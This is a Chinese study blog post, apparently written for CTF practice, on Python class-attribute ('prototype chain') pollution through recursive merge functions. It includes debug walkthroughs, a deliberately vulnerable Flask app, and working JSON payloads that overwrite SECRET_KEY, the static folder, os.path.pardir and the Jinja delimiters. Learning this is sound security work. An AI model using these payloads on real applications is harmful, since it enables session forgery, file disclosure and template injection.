前言
python原型链污染没系统学过,遇到要么是比较简单一把过,要么就是很难不会,但是还是决定来补一补坑(^_^)
STUDY
概念
python原型链污染和js原型链污染的目的差不多,但是原理机制很不同,js是通过js的迭代特性使用__proto__Prototype,python是污染类属性值。
Python 对象通过 __class__ 指向类,类通过 __bases__ 指向父类;属性查找会根据 MRO(方法解析顺序)沿类继承链向上查找。

Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。
和js原型链污染一样,需要一个merge操作或者说需要一个函数进行合并这样我们才能进行原型链污染,所以当我们看到merge相关操作我们就可以联想原型链污染。
污染过程
常见merge函数长这个样子
1 2 3 4 5 6 7 8 9 10 11 12
| def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
其实这个函数挺绕的
调试代码如下:
**通过对src的控制,来控制dst的值,来达到我们污染的 **
完成dst.k=v的污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| class father: secret = "hello" class son_a(father): pass class son_b(father): pass def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "secret" : "world" } } } print(son_a.secret) print(instance.secret)
merge(payload, instance)
print(son_a.secret) print(instance.secret)
|
跟着别人博客调试大概就懂这个过程了
刚进入for循环 dst值还是son_b() src是{"__class__" : {"__base__" : {"secret" : "world"}}}

经过了merge(v, getattr(dst, k))后 dst变为了son_b.__class__

在经过一次merge(v, getattr(dst, k)) dst变为了father类也就是son_b.__class__.__base__

然后因为v不是字典而是world 于是进入了这个else分支
此时 dst为son_b.__class__.__base__也就是father类 k为secret v 为world

那么就成功污染father类的secret属性,将其从hello污染成了world 自然son_b()作为father的子类同样收到影响。这就是污染的具体流程,自己跟着调试一遍会很清晰。我自己理解就是污染instance.__class__.__base__也就是代码里的father类的secret属性,把它的值变为world。
!注意
上述我们污染的是secret属性,并不是什么都能被污染,object类就不行。
而且我们污染的是father类secret属性并不是son_b()的,father是son_b()的父类,father类受到影响,sob_b()随之也会受到影响。
手法总结
__base__获取目标类:
刚刚调试的代码就是通过__base__来获取父类(调试代码里的father类),但是如果和父子类没有关系我们应该怎么办呢?接下来会给一些其他的利用方式
__init__获取全局变量
原理:
通过污染函数(如 __init__)的 __globals__ 属性,从而间接修改全局命名空间中的变量或类属性,导致任意对象被污染。
1 2 3 4 5 6 7 8
| a=1 def demo(): pass class A : def __init__(self): pass print(demo.__globals__==globals()==A.__init__.__globals__)
|
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| a = 1 def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) def demo(): pass class A: def __init__(self): pass class B: classa = 2
instance = A() payload = { "__init__":{ "__globals__":{ "a":4, "B":{ "classa":5 } } } } print(B.classa) print(a) merge(payload, instance) print(B.classa) print(a)
|
仿照上面的调试你也可以详细看到这个污染的过程。
最开始dst是A()

经过merge后变成了 A.__init

然后再经过一次merge变成了 A.__class__.init.__globals__看到了全局变量

然后因为dst当前是字典,因为不满足if dst.get(k) and type(v) == dict:进入else分支 将dst即全局变量里的a赋值为了4 v变成字典{'classa':5}

接下来因为满足if分支 代码运行到merge(v, dst.get(k))
此时
merge(v, dst.get(k)) 然后src=v,dst=B()
经过判断直接进入了setattr(dst, k, v)

于是就把B里的classa的属性成功污染成了5
获取其他模块:
在全局变量的前提下,是我们都在入口文件中的类对象或者属性来进行操作的,但是如果我们操作的位置在入口文件中,而目标对象并不在入口文件当中,这时候我们就需要对其他加载过的模块来获取了
import:
在简单的关系情况下,我们可以直接通过import来进行加载,在payload中我们只需要对对应的模块重新定位就可以:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import demo payload = { "__init__":{ "__globals__":{ "demo":{ "a":4, "B":{ "classa":5 } } } } }
a = 1 class B: classa = 2
|
sys:
在很多环境当中,会引用第三方模块或者是内置模块,而不是简单的import同级文件下面的目录,所以我们就要借助sys模块中的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import sys payload = { "__init__":{ "__globals__":{ "sys":{ "modules":{ "demo":{ "a":4, "B":{ "classa":5 } } } } } } }
|
loader:
通过loader.__init__.__globals__['sys']来获取到sys模块,然后再获取到我们想要的模块,loader加载器在python中的作用是实现模块加载,其在importlib这一内置模块中有具体实现。而importlib模块下所有的py文件中均引入了sys模块。
__spec__,包含了关于类加载时候的信息。所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块
函数形参默认值替换:
关键信息替换:
secret_key
secret_key是在当前入口文件下面的,所以我们可以直接通过__init__.__globals__获取全局变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from flask import Flask,request import json
app = Flask(__name__)
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
class cls(): def __init__(self): pass
instance = cls()
@app.route('/',methods=['POST', 'GET']) def index(): if request.data: merge(json.loads(request.data), instance) return "[+]Config:%s"%(app.config['SECRET_KEY'])
app.run(host="0.0.0.0")
|
1 2 3 4 5 6 7 8 9 10 11
| { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" :"Polluted~" } } } } }
|
_got_first_request:
1 2 3 4 5 6 7 8 9
| payload={ "__init__":{ "__globals__":{ "app":{ "_got_first_request":False } } } }
|
_static_url_path:
当python指定了static静态目录以后,我们再进行访问就会定向到static文件夹下面的对应文件而不会存在目录穿梭的漏洞,但是如果我们想要访问其他文件下面的敏感信息,我们就需要污染这个静态目录,让他自动帮我们实现定向
1 2 3 4 5 6 7 8 9
| payload={ "__init__":{ "__globals__":{ "app":{ "_static_folder":"./" } } } }
|
os.path.pardir:
1 2 3 4 5 6 7 8 9 10 11
| payload={ "__init__":{ "__globals__":{ "os":{ "path":{ "pardir":"," } } } } }
|
Jinja语法标识符:
1 2 3 4 5 6 7 8 9 10
| { "__init__" : { "__globals__" : { "app" : { "jinja_env" :{ "variable_start_string" : "[[","variable_end_string":"]]" } } } }
|
疑问
但是我很奇怪就是开发者在开发的时候为什么会用到merge这玩意,感觉用处并不是很大啊。但是都学了,就在现有层面学吧,如果你知道欢迎加我的联系方式联系我!
参考文章
1 2 3
| https://xz.aliyun.com/news/12518 https://rycarl.cn/index.php/2025/04/28/python%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e4%bb%8e%e5%9f%ba%e7%a1%80%e5%88%b0%e6%b7%b1%e5%85%a5/ https://j1rry-learn.github.io/posts/ctf-%E9%A2%98%E5%9E%8B-python%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-%E9%A2%98%E8%AE%B0%E5%92%8C%E6%80%BB%E7%BB%93-/
|